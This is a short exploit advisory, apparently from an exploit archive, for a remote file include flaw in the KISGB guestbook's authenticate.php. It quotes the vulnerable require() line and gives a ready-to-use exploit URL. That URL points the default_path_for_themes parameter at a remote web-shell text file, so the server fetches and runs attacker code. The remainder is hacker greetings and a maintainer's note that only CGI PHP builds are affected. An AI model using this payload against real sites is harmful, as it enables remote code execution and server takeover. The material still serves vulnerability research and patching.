|
*********************************************************************************
*********************
*KISGB (Keep It Simple Guest Book)* [default_path_for_themes] ******************* Remote File Include*
*********************************************************************************
*********************
*******************************************
+class : Remote File Include Vulnerability*
+********************************************************************************
**********************************
+download link : http://phpnuke-downloads.com/modules.php?name=Downloads&d_op=ns_getit&cid
=14&lid=156&type=url#get*
*********************************************************************************
**********************************
+Author : mdx
*
*****************************************************************************
+Files : *
+authenticate.php? *
*********************************************************************************
*
+code : *
+ *
+if (isset($default_path_for_themes)) require("$default_path_for_themes/$theme");*
+ *
*********************************************************************************
************
+ Exploit : *
+********************************************************************************
************+
+ http://www.site.***/[path]/authenticate.php?default_path_for_themes=http://mdxshell.txt? +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++
=================================================================================
=============
? Hi , The_bat_hacker , How are you ? ;=) *
?
*
? Thanks ; Cyber-WARRIOR TIM USERS, xoron , prohack ,leak , ozii , sakkure , abbad, dreamlord*
?
*
?////////////////////////////////////////////////////////////////////////////////
/////////////
?---------------------specials thanks stroke ,SHiKaA----------------------------------------*
*********************************************************************************
*************
******************* *
******************* KORKULARINIZ SADECE KABUSLARINIZDIR.. *
******************* *
******************* Turkish Hacker by mdx *
******************* *
******************* Korkmak Kurtulmak Degildir. *
******************* *
*********************************************************************************
*************
/////////////////////////////////////////////////////////////////////////////////
/////////////
Notes:
$sapi_name = strtolower(php_sapi_name());
if (strpos($sapi_name,"cgi")===FALSE) {
}
else {
Vulnerable here.
So this is only vulnerable for CGI PHP versions.
/str0ke
|
